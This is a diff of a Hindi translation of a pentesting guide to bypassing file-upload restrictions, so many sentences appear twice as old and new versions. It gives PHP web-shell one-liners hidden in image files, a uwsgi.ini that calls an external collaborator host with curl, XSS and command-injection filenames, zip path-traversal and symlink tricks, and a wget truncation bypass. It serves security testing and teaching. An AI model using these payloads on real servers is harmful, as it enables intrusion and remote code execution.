1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **मेटाडेटा** के अंदर शेल पेश करें:\
|
||||
* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
|
||||
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी उपयोग कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
|
||||
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को **बचाती है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करती है। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
* एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने** को सहन करता है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करके। हालाँकि, आप **tEXt chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जो **संकुचन** को सहन करेगा।
|
||||
* [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### अन्य ट्रिक्स की जांच करें
|
||||
|
||||
* पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
* बैकडोर को निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
* पहले से अपलोड की गई फ़ाइल को **नाम बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
* बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
* **संभावित जानकारी का खुलासा**:
|
||||
1. **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) **एक ही नाम** के साथ अपलोड करें।
|
||||
2. **एक फ़ाइल** के **नाम** के साथ फ़ाइल अपलोड करें या **फोल्डर** जो **पहले से मौजूद है**।
|
||||
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Apache में **Windows** में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
|
||||
5. **Windows** में **अमान्य वर्णों** के साथ फ़ाइल अपलोड करें जैसे `|<>*?”` इसके नाम में। (Windows)
|
||||
6. **Windows** में **आरक्षित** (**प्रतिबंधित**) **नामों** के साथ फ़ाइल अपलोड करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
|
||||
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
|
||||
* **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
|
||||
|
||||
### विशेष एक्सटेंशन ट्रिक्स
|
||||
|
@ -111,7 +111,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...) उपयोग किया जा सकता है।
|
||||
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
|
||||
|
||||
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**।
|
||||
|
||||
|
@ -123,9 +123,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
## **uWSGI RCE**
|
||||
|
||||
इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
इस भेद्यता की विस्तृत खोज के लिए मूल शोध की जांच करें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
|
||||
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लिखने/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
|
||||
|
||||
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
|
||||
```ini
|
||||
|
@ -145,14 +145,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
|
||||
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या सेवा से इनकार के हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
|
||||
|
||||
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
|
||||
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
|
||||
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
|
||||
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **नामित** करेगा।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
|
@ -175,11 +175,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Note that **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget नए नाम के साथ रीडायरेक्ट की गई फ़ाइल को डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**।
|
||||
नोट करें कि **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**।
|
||||
|
||||
## Tools
|
||||
## उपकरण
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्र का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
|
||||
|
||||
## फ़ाइल अपलोड से अन्य कमजोरियों तक
|
||||
|
||||
|
@ -188,14 +188,14 @@ Note that **एक और विकल्प** जिसे आप इस जा
|
|||
* **filename** को `<svg onload=alert(document.domain)>` पर सेट करें ताकि XSS प्राप्त किया जा सके
|
||||
* **filename** को `; sleep 10;` पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md))
|
||||
* [**XSS** इमेज (svg) फ़ाइल अपलोड में](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** फ़ाइल **अपलोड** + **XSS** = [**Service Workers** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Open Redirect** svg फ़ाइल अपलोड करके](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* **JS** फ़ाइल **अपलोड** + **XSS** = [**सेवा कार्यकर्ता** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE svg अपलोड में**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**SVG फ़ाइल अपलोड के माध्यम से ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
|
||||
* [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए निर्दिष्ट कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी निर्दिष्ट कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
* यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
* [**XXE और CORS** बायपास PDF-Adobe अपलोड के साथ](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि कैसे **PDF डेटा को इंजेक्ट करके JS निष्पादन प्राप्त करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
* विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा को कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
|
||||
* फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
|
||||
|
||||
|
@ -212,7 +212,7 @@ Note that **एक और विकल्प** जिसे आप इस जा
|
|||
9. **ZIP**: LFI / DoS के माध्यम से RCE
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp Extension
|
||||
#### बर्प एक्सटेंशन
|
||||
|
||||
{% embed url="https://github.com/portswigger/upload-scanner" %}
|
||||
|
||||
|
@ -221,15 +221,15 @@ Note that **एक और विकल्प** जिसे आप इस जा
|
|||
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
* **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) को देखें।
|
||||
अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) देखें।
|
||||
|
||||
### ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड
|
||||
|
||||
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
|
||||
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस्ड होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
|
||||
|
||||
#### सिम्लिंक
|
||||
|
||||
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस्ड फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
|
@ -237,9 +237,9 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Decompress in different folders
|
||||
|
||||
डिकंप्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा प्रदान कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकंप्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
डिकंप्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संकुचन समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकंप्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
|
||||
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
|
||||
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। इस उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
```
|
||||
**फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग**
|
||||
|
||||
अधिक जानकारी के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
अधिक विवरण के लिए **मूल पोस्ट देखें**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **PHP शेल बनाना**: PHP कोड लिखा गया है जो `$_REQUEST` वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।
|
||||
|
||||
|
@ -306,17 +306,17 @@ pop graphic-context
|
|||
|
||||
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से `imagecopyresized` और `imagecopyresampled` फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
|
||||
|
||||
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["PNG IDAT भागों में वेब शेल्स को एन्कोड करना"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
|
||||
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
|
||||
|
||||
अधिक जानकारी के लिए: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## पॉलीग्लॉट फ़ाइलें
|
||||
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसी संयोजन भी संभव हैं।
|
||||
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण [GIFAR](https://en.wikipedia.org/wiki/Gifar) है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
|
||||
|
||||
